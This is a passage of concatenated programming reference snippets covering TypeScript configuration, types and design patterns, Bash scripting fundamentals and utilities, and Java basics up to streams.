    // "jsx": "react",            // For React 16 and earlier
    "lib": ["DOM", "DOM.Iterable", "ES2020"]
  }
}

{
  "compilerOptions": {
    "target": "ES2020",
    "module": "commonjs",
    "lib": ["ES2020"],
    "types": ["node"],
    "esModuleInterop": true
  }
}

{
  "compilerOptions": {
    "composite": true,
    "declaration": true,
    "declarationMap": true
  },
  "references": [
    { "path": "../common" },
    { "path": "../utils" }
  ]
}

type IsString<T> = T extends string ? true : false;

type A = IsString<string>; // true
type B = IsString<number>; // false

// Distributive conditional types
type ToArray<T> = T extends any ? T[] : never;
type StrOrNumArray = ToArray<string | number>; // string[] | number[]

// Infer keyword
type ReturnType<T> = T extends (...args: any[]) => infer R ? R : never;

type Func = () => number;
type Result = ReturnType<Func>; // number

type Readonly<T> = {
  readonly [P in keyof T]: T[P];
};

type Optional<T> = {
  [P in keyof T]?: T[P];
};

type Nullable<T> = {
  [P in keyof T]: T[P] | null;
};

interface Person {
  name: string;
  age: number;
}

type ReadonlyPerson = Readonly<Person>;
// { readonly name: string; readonly age: number; }

type OptionalPerson = Optional<Person>;
// { name?: string; age?: number; }

type EventName = "click" | "scroll" | "mousemove";
type Handler = `on${Capitalize<EventName>}`;
// "onClick" | "onScroll" | "onMousemove"

type PropEventSource<Type> = {
  on<Key extends string & keyof Type>(
    eventName: `${Key}Changed`,
    callback: (newValue: Type[Key]) => void
  ): void;
};

declare function makeWatchedObject<Type>(
  obj: Type
): Type & PropEventSource<Type>;

const person = makeWatchedObject({
  firstName: "John",
  age: 26,
});

person.on("firstNameChanged", (newName) => {
  console.log(`New name: ${newName}`);
});

interface StringArray {
  [index: number]: string;
}

interface StringByString {
  [key: string]: string | number;
  length: number; // OK: number is assignable to string | number
}

// Generic index signature
interface Dictionary<T> {
  [key: string]: T;
}

const userScores: Dictionary<number> = {
  john: 100,
  jane: 95,
};

interface Square {
  kind: "square";
  size: number;
}

interface Rectangle {
  kind: "rectangle";
  width: number;
  height: number;
}

interface Circle {
  kind: "circle";
  radius: number;
}

type Shape = Square | Rectangle | Circle;

function area(s: Shape): number {
  switch (s.kind) {
    case "square":
      return s.size * s.size;
    case "rectangle":
      return s.width * s.height;
    case "circle":
      return Math.PI * s.radius ** 2;
  }
}

{
  "compilerOptions": {
    "strict": true
  }
}

// Bad
function process(data: any) {
  return data.value;
}

// Good
function process(data: unknown) {
  if (typeof data === "object" && data !== null && "value" in data) {
    return (data as { value: any }).value;
  }
  throw new Error("Invalid data");
}

// Bad
const numbers: number[] = [1, 2, 3];
const result: number = numbers.reduce((acc: number, n: number) => acc + n, 0);

// Good
const numbers = [1, 2, 3];
const result = numbers.reduce((acc, n) => acc + n, 0);

// Readonly arrays
const numbers: readonly number[] = [1, 2, 3];
// numbers.push(4); // Error

// Readonly objects
interface Config {
  readonly apiUrl: string;
  readonly timeout: number;
}

// Readonly function parameters
function printList(list: readonly string[]) {
  // list.push("new"); // Error
  console.log(list.join(", "));
}

// Good: Use interface for object shapes
interface User {
  id: number;
  name: string;
}

// Good: Use type for unions
type Status = "pending" | "approved" | "rejected";

// Good: Use type for intersections
type AdminUser = User & { role: "admin" };

type RequestState =
  | { status: "idle" }
  | { status: "loading" }
  | { status: "success"; data: any }
  | { status: "error"; error: string };

function handleRequest(state: RequestState) {
  switch (state.status) {
    case "idle":
      return "Not started";
    case "loading":
      return "Loading...";
    case "success":
      return state.data;
    case "error":
      return state.error;
  }
}

// Without const assertion
const colors = ["red", "green", "blue"];
// Type: string[]

// With const assertion
const colors = ["red", "green", "blue"] as const;
// Type: readonly ["red", "green", "blue"]

const config = {
  apiUrl: "https://api.example.com",
  timeout: 5000,
} as const;
// All properties are readonly

function isString(value: unknown): value is string {
  return typeof value === "string";
}

function processValue(value: string | number) {
  if (isString(value)) {
    console.log(value.toUpperCase());
  } else {
    console.log(value.toFixed(2));
  }
}

// Generic function
function firstOrNull<T>(arr: T[]): T | null {
  return arr.length > 0 ? arr[0] : null;
}

// Generic constraints
function getProperty<T, K extends keyof T>(obj: T, key: K): T[K] {
  return obj[key];
}

// Instead of manually creating partial types
interface User {
  id: number;
  name: string;
  email: string;
}

// Good: Use Partial utility type
function updateUser(id: number, updates: Partial<User>) {
  // Implementation
}

// Good: Use Pick for selecting specific properties
type UserPreview = Pick<User, "id" | "name">;

// Good: Use Omit to exclude properties
type UserWithoutId = Omit<User, "id">;

// Bad
const data = JSON.parse(jsonString) as User;

// Good: Validate at runtime
function isUser(data: any): data is User {
  return (
    typeof data === "object" &&
    typeof data.id === "number" &&
    typeof data.name === "string"
  );
}

const data = JSON.parse(jsonString);
if (isUser(data)) {
  // TypeScript knows data is User here
}

// Instead of enum
enum Status {
  Pending,
  Approved,
  Rejected,
}

// Consider union types
type Status = "pending" | "approved" | "rejected";

// Or const objects with 'as const'
const Status = {
  Pending: "pending",
  Approved: "approved",
  Rejected: "rejected",
} as const;

type StatusValue = (typeof Status)[keyof typeof Status];

/**
 * Represents a user in the system
 * @property id - Unique identifier
 * @property name - Full name of the user
 * @property email - Contact email address
 */
interface User {
  id: number;
  name: string;
  email: string;
}

/**
 * Fetches user data from the API
 * @param userId - The ID of the user to fetch
 * @returns Promise resolving to user data
 * @throws {Error} When user is not found
 */
async function fetchUser(userId: number): Promise<User> {
  // Implementation
}

namespace Validation {
  export interface StringValidator {
    isValid(s: string): boolean;
  }

  export class EmailValidator implements StringValidator {
    isValid(s: string): boolean {
      return /^[\w-\.]+@([\w-]+\.)+[\w-]{2,4}$/.test(s);
    }
  }
}

const validator = new Validation.EmailValidator();

{
  "compilerOptions": {
    "baseUrl": ".",
    "paths": {
      "@components/*": ["src/components/*"],
      "@utils/*": ["src/utils/*"],
      "@models/*": ["src/models/*"]
    }
  }
}

// Instead of
import { Button } from "../../../components/Button";

// Use
import { Button } from "@components/Button";

interface Product {
  operation(): string;
}

class ConcreteProductA implements Product {
  operation(): string {
    return "Product A";
  }
}

class ConcreteProductB implements Product {
  operation(): string {
    return "Product B";
  }
}

class ProductFactory {
  createProduct(type: "A" | "B"): Product {
    switch (type) {
      case "A":
        return new ConcreteProductA();
      case "B":
        return new ConcreteProductB();
    }
  }
}

class QueryBuilder {
  private query: string = "";

  select(...fields: string[]): this {
    this.query += `SELECT ${fields.join(", ")} `;
    return this;
  }

  from(table: string): this {
    this.query += `FROM ${table} `;
    return this;
  }

  where(condition: string): this {
    this.query += `WHERE ${condition} `;
    return this;
  }

  build(): string {
    return this.query.trim();
  }
}

const query = new QueryBuilder()
  .select("id", "name")
  .from("users")
  .where("age > 18")
  .build();

class Database {
  private static instance: Database;
  private connection: any;

  private constructor() {
    // Private constructor prevents instantiation
    this.connection = this.connect();
  }

  private connect() {
    // Connection logic
    return {};
  }

  static getInstance(): Database {
    if (!Database.instance) {
      Database.instance = new Database();
    }
    return Database.instance;
  }

  query(sql: string) {
    // Query logic
  }
}

const db1 = Database.getInstance();
const db2 = Database.getInstance();
console.log(db1 === db2); // true

# Variable assignment (no spaces around =)
name="Alice"
age=30
readonly PI=3.14159  # Read-only variable

# Accessing variables
echo "Hello, $name"
echo "Hello, ${name}!"  # Recommended for clarity

# Command substitution
current_date=$(date)
current_dir=`pwd`  # Old style, avoid

# Default values
echo "${var:-default}"      # Use default if var is unset
echo "${var:=default}"      # Set var to default if unset
echo "${var:+alternate}"    # Use alternate if var is set
echo "${var:?error message}"  # Error if var is unset

# String length
name="Alice"
echo "${#name}"  # 5

# Substring
echo "${name:0:3}"  # Ali

# Strings
str="Hello World"
str='Single quotes - literal'
str="Double quotes - $variable expansion"

# Arrays
fruits=("apple" "banana" "cherry")
echo "${fruits[0]}"      # apple
echo "${fruits[@]}"      # All elements
echo "${#fruits[@]}"     # Array length
fruits+=("date")         # Append

# Associative arrays (Bash 4+)
declare -A person
person[name]="Alice"
person[age]=30
echo "${person[name]}"

# Integers
declare -i num=42
num=$num+10  # Arithmetic

# Basic if
if [ "$age" -gt 18 ]; then
    echo "Adult"
fi

# If-elif-else
if [ "$age" -lt 13 ]; then
    echo "Child"
elif [ "$age" -lt 20 ]; then
    echo "Teenager"
else
    echo "Adult"
fi

# String comparison
if [ "$name" = "Alice" ]; then
    echo "Hello Alice"
fi

if [ "$name" != "Bob" ]; then
    echo "Not Bob"
fi

# File tests
if [ -f "file.txt" ]; then
    echo "File exists"
fi

if [ -d "directory" ]; then
    echo "Directory exists"
fi

if [ -r "file.txt" ]; then
    echo "File is readable"
fi

# Logical operators
if [ "$age" -gt 18 ] && [ "$age" -lt 65 ]; then
    echo "Working age"
fi

if [ "$age" -lt 18 ] || [ "$age" -gt 65 ]; then
    echo "Not working age"
fi

# Modern test syntax [[ ]]
if [[ "$name" == "Alice" ]]; then
    echo "Hello Alice"
fi

if [[ "$name" =~ ^A ]]; then  # Regex matching
    echo "Name starts with A"
fi

# Numeric comparison
[ "$a" -eq "$b" ]  # Equal
[ "$a" -ne "$b" ]  # Not equal
[ "$a" -gt "$b" ]  # Greater than
[ "$a" -ge "$b" ]  # Greater than or equal
[ "$a" -lt "$b" ]  # Less than
[ "$a" -le "$b" ]  # Less than or equal

# String comparison
[ "$a" = "$b" ]    # Equal
[ "$a" != "$b" ]   # Not equal
[ -z "$a" ]        # String is empty
[ -n "$a" ]        # String is not empty

# File tests
[ -e file ]        # Exists
[ -f file ]        # Regular file
[ -d file ]        # Directory
[ -r file ]        # Readable
[ -w file ]        # Writable
[ -x file ]        # Executable
[ -s file ]        # Not empty
[ file1 -nt file2 ]  # file1 newer than file2
[ file1 -ot file2 ]  # file1 older than file2

# For loop
for i in 1 2 3 4 5; do
    echo "$i"
done

# C-style for loop
for ((i=0; i<5; i++)); do
    echo "$i"
done

# For loop with range
for i in {1..10}; do
    echo "$i"
done

# For loop with step
for i in {0..10..2}; do
    echo "$i"  # 0, 2, 4, 6, 8, 10
done

# Iterate over array
fruits=("apple" "banana" "cherry")
for fruit in "${fruits[@]}"; do
    echo "$fruit"
done

# Iterate over files
for file in *.txt; do
    echo "Processing $file"
done

# While loop
count=0
while [ $count -lt 5 ]; do
    echo "$count"
    ((count++))
done

# Read file line by line
while IFS= read -r line; do
    echo "$line"
done < file.txt

# Until loop
count=0
until [ $count -ge 5 ]; do
    echo "$count"
    ((count++))
done

# Break and continue
for i in {1..10}; do
    if [ $i -eq 5 ]; then
        continue  # Skip 5
    fi
    if [ $i -eq 8 ]; then
        break     # Stop at 8
    fi
    echo "$i"
done

case "$1" in
    start)
        echo "Starting service..."
        ;;
    stop)
        echo "Stopping service..."
        ;;
    restart)
        echo "Restarting service..."
        ;;
    *)
        echo "Usage: $0 {start|stop|restart}"
        exit 1
        ;;
esac

# Pattern matching in case
case "$filename" in
    *.txt)
        echo "Text file"
        ;;
    *.jpg|*.png)
        echo "Image file"
        ;;
    *)
        echo "Unknown file type"
        ;;
esac

# Basic function
greet() {
    echo "Hello, $1!"
}

greet "Alice"  # Hello, Alice!

# Function with return value
add() {
    local result=$(($1 + $2))
    echo "$result"
}

sum=$(add 5 3)
echo "Sum: $sum"

# Function with return code
check_file() {
    if [ -f "$1" ]; then
        return 0  # Success
    else
        return 1  # Failure
    fi
}

if check_file "file.txt"; then
    echo "File exists"
else
    echo "File not found"
fi

# Local variables
my_function() {
    local local_var="I'm local"
    global_var="I'm global"
}

# Function with multiple return values
get_stats() {
    local min=1
    local max=100
    local avg=50
    echo "$min $max $avg"
}

read min max avg <<< $(get_stats)
echo "Min: $min, Max: $max, Avg: $avg"

# Length
str="Hello World"
echo "${#str}"  # 11

# Substring
echo "${str:0:5}"   # Hello
echo "${str:6}"     # World
echo "${str: -5}"   # World (note space before -)

# Replace
echo "${str/World/Universe}"  # Hello Universe (first occurrence)
echo "${str//o/O}"            # HellO WOrld (all occurrences)

# Remove prefix/suffix
filename="example.tar.gz"
echo "${filename#*.}"      # tar.gz (remove shortest prefix)
echo "${filename##*.}"     # gz (remove longest prefix)
echo "${filename%.*}"      # example.tar (remove shortest suffix)
echo "${filename%%.*}"     # example (remove longest suffix)

# Upper/Lower case
str="Hello World"
echo "${str^^}"  # HELLO WORLD
echo "${str,,}"  # hello world
echo "${str^}"   # Hello world (first char upper)

# Trim whitespace
str="  hello  "
str="${str#"${str%%[![:space:]]*}"}"  # Trim left
str="${str%"${str##*[![:space:]]}"}"  # Trim right

# Read from user
read -p "Enter your name: " name
echo "Hello, $name!"

# Read with timeout
if read -t 5 -p "Enter value (5s timeout): " value; then
    echo "You entered: $value"
else
    echo "Timeout!"
fi

# Read password (hidden)
read -s -p "Enter password: " password
echo

# Read multiple values
read -p "Enter name and age: " name age

# Read into array
IFS=',' read -ra array <<< "apple,banana,cherry"

# Echo
echo "Hello World"
echo -n "No newline"
echo -e "Line1\nLine2"  # Enable escape sequences

# Printf (more control)
printf "Name: %s, Age: %d\n" "Alice" 30
printf "%.2f\n" 3.14159  # 3.14

# Here document
cat << EOF
This is a
multi-line
message
EOF

# Here string
grep "pattern" <<< "string to search"

# Output redirection
echo "Hello" > file.txt          # Overwrite
echo "World" >> file.txt         # Append

# Input redirection
while read line; do
    echo "$line"
done < file.txt

# Error redirection
command 2> error.log             # Redirect stderr
command > output.txt 2>&1        # Redirect both stdout and stderr
command &> all_output.txt        # Same as above (Bash 4+)

# Discard output
command > /dev/null 2>&1

# Pipe
cat file.txt | grep "pattern" | sort | uniq

# Tee (write to file and stdout)
echo "Hello" | tee file.txt

# Process substitution
diff <(ls dir1) <(ls dir2)

# Create file
touch file.txt
echo "content" > file.txt

# Copy
cp source.txt dest.txt
cp -r source_dir/ dest_dir/

# Move/Rename
mv old.txt new.txt
mv file.txt directory/

# Delete
rm file.txt
rm -r directory/
rm -f file.txt  # Force delete

# Create directory
mkdir directory
mkdir -p path/to/nested/directory

# Read file
cat file.txt
head -n 10 file.txt  # First 10 lines
tail -n 10 file.txt  # Last 10 lines
tail -f file.txt     # Follow file (live updates)

# File permissions
chmod 755 script.sh      # rwxr-xr-x
chmod +x script.sh       # Add execute permission
chmod u+x script.sh      # User execute
chmod go-w file.txt      # Remove write for group and others

# File ownership
chown user:group file.txt

# Find files
find . -name "*.txt"
find . -type f -name "*.log"
find . -mtime -7  # Modified in last 7 days
find . -size +10M  # Larger than 10MB

# Run in background
command &

# List jobs
jobs

# Bring to foreground
fg %1

# Send to background
bg %1

# Kill process
kill PID
kill -9 PID  # Force kill
killall process_name

# Process info
ps aux
ps aux | grep process_name
top
htop

# Exit status
command
echo $?  # 0 = success, non-zero = failure

# Conditional execution
command1 && command2  # command2 runs if command1 succeeds
command1 || command2  # command2 runs if command1 fails
command1 ; command2   # command2 runs regardless

# Wait for process
command &
PID=$!
wait $PID

# Exit on error
set -e  # Exit if any command fails
set -u  # Exit if undefined variable is used
set -o pipefail  # Exit if any command in pipe fails

# Combined
set -euo pipefail

# Error function
error_exit() {
    echo "ERROR: $1" >&2
    exit 1
}

[ -f "file.txt" ] || error_exit "File not found"

# Trap errors
trap 'echo "Error on line $LINENO"' ERR

# Cleanup on exit
cleanup() {
    rm -f /tmp/tempfile
}
trap cleanup EXIT

# Positional arguments
echo "Script: $0"
echo "First arg: $1"
echo "Second arg: $2"
echo "All args: $@"
echo "Number of args: $#"

# Shift arguments
while [ $# -gt 0 ]; do
    echo "$1"
    shift
done

# Parse options
while getopts "a:b:c" opt; do
    case $opt in
        a)
            echo "Option -a: $OPTARG"
            ;;
        b)
            echo "Option -b: $OPTARG"
            ;;
        c)
            echo "Option -c"
            ;;
        \?)
            echo "Invalid option: -$OPTARG"
            exit 1
            ;;
    esac
done

# Long options
while [ $# -gt 0 ]; do
    case "$1" in
        --help)
            echo "Usage: $0 [options]"
            exit 0
            ;;
        --file=*)
            FILE="${1#*=}"
            ;;
        --verbose)
            VERBOSE=1
            ;;
        *)
            echo "Unknown option: $1"
            exit 1
            ;;
    esac
    shift
done

# Simple logging
log() {
    echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1"
}

log "Script started"

# Log levels
LOG_LEVEL=${LOG_LEVEL:-INFO}

log_debug() {
    [ "$LOG_LEVEL" = "DEBUG" ] && echo "[DEBUG] $1"
}

log_info() {
    echo "[INFO] $1"
}

log_error() {
    echo "[ERROR] $1" >&2
}

# Log to file
exec > >(tee -a script.log)
exec 2>&1

# Source configuration
CONFIG_FILE="config.sh"
if [ -f "$CONFIG_FILE" ]; then
    source "$CONFIG_FILE"
fi

# config.sh
# DB_HOST="localhost"
# DB_PORT=5432
# DB_NAME="mydb"

# Read key-value pairs
while IFS='=' read -r key value; do
    case "$key" in
        DB_HOST) DB_HOST="$value" ;;
        DB_PORT) DB_PORT="$value" ;;
        DB_NAME) DB_NAME="$value" ;;
    esac
done < config.txt

# grep (search)
grep "pattern" file.txt
grep -i "pattern" file.txt        # Case insensitive
grep -r "pattern" directory/      # Recursive
grep -v "pattern" file.txt        # Invert match
grep -n "pattern" file.txt        # Show line numbers
grep -c "pattern" file.txt        # Count matches
grep -E "regex" file.txt          # Extended regex

# sed (stream editor)
sed 's/old/new/' file.txt         # Replace first occurrence
sed 's/old/new/g' file.txt        # Replace all
sed -i 's/old/new/g' file.txt     # In-place edit
sed -n '10,20p' file.txt          # Print lines 10-20
sed '/pattern/d' file.txt         # Delete matching lines

# awk (text processing)
awk '{print $1}' file.txt         # Print first column
awk '{print $1, $3}' file.txt     # Print columns 1 and 3
awk -F: '{print $1}' /etc/passwd  # Custom delimiter
awk '$3 > 100' file.txt           # Filter rows
awk '{sum += $1} END {print sum}' file.txt  # Sum column

# cut (extract columns)
cut -d: -f1 /etc/passwd           # Field 1, delimiter :
cut -c1-10 file.txt               # Characters 1-10

# sort
sort file.txt
sort -r file.txt                  # Reverse
sort -n file.txt                  # Numeric sort
sort -k2 file.txt                 # Sort by column 2
sort -u file.txt                  # Unique

# uniq (unique lines)
sort file.txt | uniq              # Remove duplicates
sort file.txt | uniq -c           # Count occurrences
sort file.txt | uniq -d           # Only duplicates

# wc (word count)
wc -l file.txt                    # Line count
wc -w file.txt                    # Word count
wc -c file.txt                    # Byte count

# tr (translate characters)
echo "hello" | tr 'a-z' 'A-Z'     # HELLO
echo "hello123" | tr -d '0-9'     # hello

# fold
echo "hell" | fold -w 2	  	  # he and ll

# Date and time
date                              # Current date/time
date '+%Y-%m-%d'                  # 2024-01-15
date '+%Y-%m-%d %H:%M:%S'         # 2024-01-15 14:30:00
date -d "yesterday"               # Yesterday's date
date -d "+7 days"                 # Date 7 days from now

# Arithmetic
echo $((5 + 3))                   # 8
echo $((10 / 3))                  # 3 (integer division)
echo "scale=2; 10 / 3" | bc       # 3.33 (bc for floating point)

# Random numbers
echo $RANDOM                      # Random number 0-32767
echo $((RANDOM % 100))            # Random 0-99

# Sleep
sleep 5                           # Sleep 5 seconds
sleep 0.5                         # Sleep 0.5 seconds

# Command existence check
if command -v git &> /dev/null; then
    echo "Git is installed"
fi

# Array operations
arr=(1 2 3 4 5)
echo "${arr[@]}"                  # All elements
echo "${#arr[@]}"                 # Length
echo "${arr[@]:1:3}"              # Slice [1:4]
arr+=(6)                          # Append

#!/usr/bin/env bash

# Script: script_name.sh
# Description: What this script does
# Author: Your Name
# Date: 2024-01-15

set -euo pipefail  # Exit on error, undefined var, pipe failure

# Constants
readonly SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
readonly SCRIPT_NAME="$(basename "$0")"

# Variables
VERBOSE=0
DRY_RUN=0

# Functions
usage() {
    cat << EOF
Usage: $SCRIPT_NAME [OPTIONS]

Description of what the script does.

OPTIONS:
    -h, --help      Show this help message
    -v, --verbose   Verbose output
    -n, --dry-run   Dry run mode
EOF
}

log_info() {
    echo "[INFO] $*"
}

log_error() {
    echo "[ERROR] $*" >&2
}

cleanup() {
    log_info "Cleaning up..."
    # Cleanup code here
}

main() {
    log_info "Starting script..."

    # Main script logic here

    log_info "Script completed successfully"
}

# Parse arguments
while [[ $# -gt 0 ]]; do
    case $1 in
        -h|--help)
            usage
            exit 0
            ;;
        -v|--verbose)
            VERBOSE=1
            shift
            ;;
        -n|--dry-run)
            DRY_RUN=1
            shift
            ;;
        *)
            log_error "Unknown option: $1"
            usage
            exit 1
            ;;
    esac
done

# Trap cleanup on exit
trap cleanup EXIT

# Run main function
main "$@"

#!/bin/bash

BACKUP_DIR="/backup"
SOURCE_DIR="/data"
DATE=$(date +%Y%m%d_%H%M%S)
BACKUP_FILE="backup_${DATE}.tar.gz"

tar -czf "${BACKUP_DIR}/${BACKUP_FILE}" "${SOURCE_DIR}"
echo "Backup created: ${BACKUP_FILE}"

# Keep only last 7 backups
cd "${BACKUP_DIR}"
ls -t backup_*.tar.gz | tail -n +8 | xargs -r rm

#!/bin/bash

CPU_THRESHOLD=80
DISK_THRESHOLD=90

# Check CPU usage
CPU_USAGE=$(top -bn1 | grep "Cpu(s)" | awk '{print $2}' | cut -d'%' -f1)
if (( $(echo "$CPU_USAGE > $CPU_THRESHOLD" | bc -l) )); then
    echo "WARNING: CPU usage is ${CPU_USAGE}%"
fi

# Check disk usage
df -H | grep -vE '^Filesystem|tmpfs|cdrom' | awk '{print $5 " " $1}' | while read output; do
    usage=$(echo $output | awk '{print $1}' | sed 's/%//g')
    partition=$(echo $output | awk '{print $2}')
    if [ $usage -ge $DISK_THRESHOLD ]; then
        echo "WARNING: Disk usage on $partition is ${usage}%"
    fi
done

// Primitive types
byte b = 127;           // 8-bit
short s = 32767;        // 16-bit
int i = 2147483647;     // 32-bit
long l = 9223372036854775807L;  // 64-bit
float f = 3.14f;        // 32-bit floating point
double d = 3.14159;     // 64-bit floating point
boolean bool = true;    // true or false
char c = 'A';           // 16-bit Unicode

// Reference types
String str = "Hello, World!";
Integer num = 42;  // Wrapper class

// Type conversion
int x = (int) 3.14;  // Explicit casting
double y = 10;       // Implicit casting

// Constants
final double PI = 3.14159;
final int MAX_SIZE = 100;

// String creation
String s1 = "Hello";
String s2 = new String("World");

// String methods
int length = s1.length();
char ch = s1.charAt(0);
String sub = s1.substring(0, 3);
String upper = s1.toUpperCase();
String lower = s1.toLowerCase();
boolean startsWith = s1.startsWith("He");
boolean contains = s1.contains("ll");

// String comparison
boolean equals = s1.equals(s2);
boolean equalsIgnoreCase = s1.equalsIgnoreCase(s2);
int compare = s1.compareTo(s2);

// String concatenation
String full = s1 + " " + s2;
String joined = String.join(", ", "a", "b", "c");

// String formatting
String formatted = String.format("Name: %s, Age: %d", "Alice", 30);

// StringBuilder (mutable)
StringBuilder sb = new StringBuilder();
sb.append("Hello");
sb.append(" World");
String result = sb.toString();

// Array declaration
int[] numbers = new int[5];
int[] nums = {1, 2, 3, 4, 5};
String[] names = {"Alice", "Bob", "Charlie"};

// Accessing elements
int first = nums[0];
nums[2] = 10;

// Array length
int length = nums.length;

// Multi-dimensional arrays
int[][] matrix = new int[3][3];
int[][] grid = {{1, 2}, {3, 4}, {5, 6}};

// Arrays utility class
import java.util.Arrays;

Arrays.sort(nums);                    // Sort array
int index = Arrays.binarySearch(nums, 5);  // Binary search
int[] copy = Arrays.copyOf(nums, nums.length);  // Copy
boolean equal = Arrays.equals(nums, copy);  // Compare
String str = Arrays.toString(nums);   // Convert to string

import java.util.ArrayList;

// Creating ArrayList
ArrayList<String> list = new ArrayList<>();
ArrayList<Integer> numbers = new ArrayList<>(Arrays.asList(1, 2, 3));

// Adding elements
list.add("Apple");
list.add(0, "Banana");  // Add at index
list.addAll(Arrays.asList("Cherry", "Date"));

// Accessing elements
String first = list.get(0);
list.set(1, "Blueberry");

// Removing elements
list.remove(0);
list.remove("Apple");
list.clear();

// Operations
int size = list.size();
boolean empty = list.isEmpty();
boolean contains = list.contains("Apple");
int index = list.indexOf("Apple");

// Iteration
for (String item : list) {
    System.out.println(item);
}

list.forEach(item -> System.out.println(item));

import java.util.HashMap;
import java.util.Map;

// Creating HashMap
HashMap<String, Integer> map = new HashMap<>();

// Adding elements
map.put("Alice", 25);
map.put("Bob", 30);
map.putIfAbsent("Charlie", 35);

// Accessing elements
int age = map.get("Alice");
int defaultAge = map.getOrDefault("David", 0);

// Removing elements
map.remove("Bob");

// Operations
int size = map.size();
boolean empty = map.isEmpty();
boolean hasKey = map.containsKey("Alice");
boolean hasValue = map.containsValue(25);

// Iteration
for (Map.Entry<String, Integer> entry : map.entrySet()) {
    System.out.println(entry.getKey() + ": " + entry.getValue());
}

map.forEach((key, value) ->
    System.out.println(key + ": " + value));

int age = 18;

if (age < 13) {
    System.out.println("Child");
} else if (age < 20) {
    System.out.println("Teenager");
} else {
    System.out.println("Adult");
}

// Ternary operator
String status = (age >= 18) ? "Adult" : "Minor";

// Traditional switch
int day = 3;
switch (day) {
    case 1:
        System.out.println("Monday");
        break;
    case 2:
        System.out.println("Tuesday");
        break;
    default:
        System.out.println("Other day");
}

// Switch expression (Java 14+)
String dayName = switch (day) {
    case 1 -> "Monday";
    case 2 -> "Tuesday";
    case 3 -> "Wednesday";
    default -> "Other day";
};

// For loop
for (int i = 0; i < 5; i++) {
    System.out.println(i);
}

// Enhanced for loop
int[] numbers = {1, 2, 3, 4, 5};
for (int num : numbers) {
    System.out.println(num);
}

// While loop
int count = 0;
while (count < 5) {
    System.out.println(count);
    count++;
}

// Do-while loop
int i = 0;
do {
    System.out.println(i);
    i++;
} while (i < 5);

// Break and continue
for (int j = 0; j < 10; j++) {
    if (j == 5) continue;  // Skip 5
    if (j == 8) break;     // Stop at 8
    System.out.println(j);
}

public class Person {
    // Fields (instance variables)
    private String name;
    private int age;

    // Static field (class variable)
    private static int count = 0;

    // Constructor
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
        count++;
    }

    // Default constructor
    public Person() {
        this("Unknown", 0);
    }

    // Getters and setters
    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        if (age >= 0) {
            this.age = age;
        }
    }

    // Instance method
    public void greet() {
        System.out.println("Hello, I'm " + name);
    }

    // Static method
    public static int getCount() {
        return count;
    }

    // toString method
    @Override
    public String toString() {
        return "Person{name='" + name + "', age=" + age + "}";
    }
}

// Usage
Person person = new Person("Alice", 30);
person.greet();
System.out.println(person.toString());

// Base class
public class Animal {
    protected String name;

    public Animal(String name) {
        this.name = name;
    }

    public void speak() {
        System.out.println(name + " makes a sound");
    }
}

// Derived class
public class Dog extends Animal {
    private String breed;

    public Dog(String name, String breed) {
        super(name);  // Call parent constructor
        this.breed = breed;
    }

    @Override
    public void speak() {
        System.out.println(name + " barks");
    }

    public void fetch() {
        System.out.println(name + " is fetching");
    }
}

// Usage
Dog dog = new Dog("Buddy", "Golden Retriever");
dog.speak();   // "Buddy barks"
dog.fetch();   // "Buddy is fetching"

// Interface definition
public interface Drawable {
    void draw();  // Abstract method

    // Default method (Java 8+)
    default void display() {
        System.out.println("Displaying...");
    }

    // Static method (Java 8+)
    static void info() {
        System.out.println("Drawable interface");
    }
}

// Implementation
public class Circle implements Drawable {
    private double radius;

    public Circle(double radius) {
        this.radius = radius;
    }

    @Override
    public void draw() {
        System.out.println("Drawing circle with radius " + radius);
    }
}

// Multiple interfaces
public class Square implements Drawable, Comparable<Square> {
    private double side;

    public Square(double side) {
        this.side = side;
    }

    @Override
    public void draw() {
        System.out.println("Drawing square with side " + side);
    }

    @Override
    public int compareTo(Square other) {
        return Double.compare(this.side, other.side);
    }
}

public abstract class Shape {
    protected String color;

    public Shape(String color) {
        this.color = color;
    }

    // Abstract method
    public abstract double area();

    // Concrete method
    public void setColor(String color) {
        this.color = color;
    }

    public String getColor() {
        return color;
    }
}

public class Rectangle extends Shape {
    private double width;
    private double height;

    public Rectangle(String color, double width, double height) {
        super(color);
        this.width = width;
        this.height = height;
    }

    @Override
    public double area() {
        return width * height;
    }
}

// Try-catch
try {
    int result = 10 / 0;
} catch (ArithmeticException e) {
    System.out.println("Cannot divide by zero!");
}

// Multiple catch blocks
try {
    int[] arr = new int[5];
    arr[10] = 50;
} catch (ArrayIndexOutOfBoundsException e) {
    System.out.println("Array index out of bounds");
} catch (Exception e) {
    System.out.println("General exception: " + e.getMessage());
}

// Finally block
try {
    // Code that may throw exception
} catch (Exception e) {
    e.printStackTrace();
} finally {
    System.out.println("This always executes");
}

// Try-with-resources (Java 7+)
try (BufferedReader br = new BufferedReader(new FileReader("file.txt"))) {
    String line = br.readLine();
} catch (IOException e) {
    e.printStackTrace();
}

// Throwing exceptions
public void checkAge(int age) throws IllegalArgumentException {
    if (age < 0) {
        throw new IllegalArgumentException("Age cannot be negative");
    }
}

// Custom exception
public class InvalidAgeException extends Exception {
    public InvalidAgeException(String message) {
        super(message);
    }
}

// Functional interface
@FunctionalInterface
interface Calculator {
    int calculate(int a, int b);
}

// Lambda expression
Calculator add = (a, b) -> a + b;
Calculator multiply = (a, b) -> a * b;

System.out.println(add.calculate(5, 3));      // 8
System.out.println(multiply.calculate(5, 3)); // 15

// With collections
List<String> names = Arrays.asList("Alice", "Bob", "Charlie");
names.forEach(name -> System.out.println(name));

// Method reference
names.forEach(System.out::println);

import java.util.stream.*;

List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5, 6, 7, 8, 9, 10);

// Filter
List<Integer> evens = numbers.stream()
    .filter(n -> n % 2 == 0)
    .collect(Collectors.toList());

// Map
List<Integer> squared = numbers.stream()
    .map(n -> n * n)
    .collect(Collectors.toList());

// Reduce
int sum = numbers.stream()
    .reduce(0, (a, b) -> a + b);

// Find
Optional<Integer> first = numbers.stream()
    .filter(n -> n > 5)
    .findFirst();

// Any/All match
boolean anyEven = numbers.stream().anyMatch(n -> n % 2 == 0);
boolean allPositive = numbers.stream().allMatch(n -> n > 0);

// Sorted
List<Integer> sorted = numbers.stream()
    .sorted()
    .collect(Collectors.toList());

// Limit and skip
List<Integer> limited = numbers.stream()
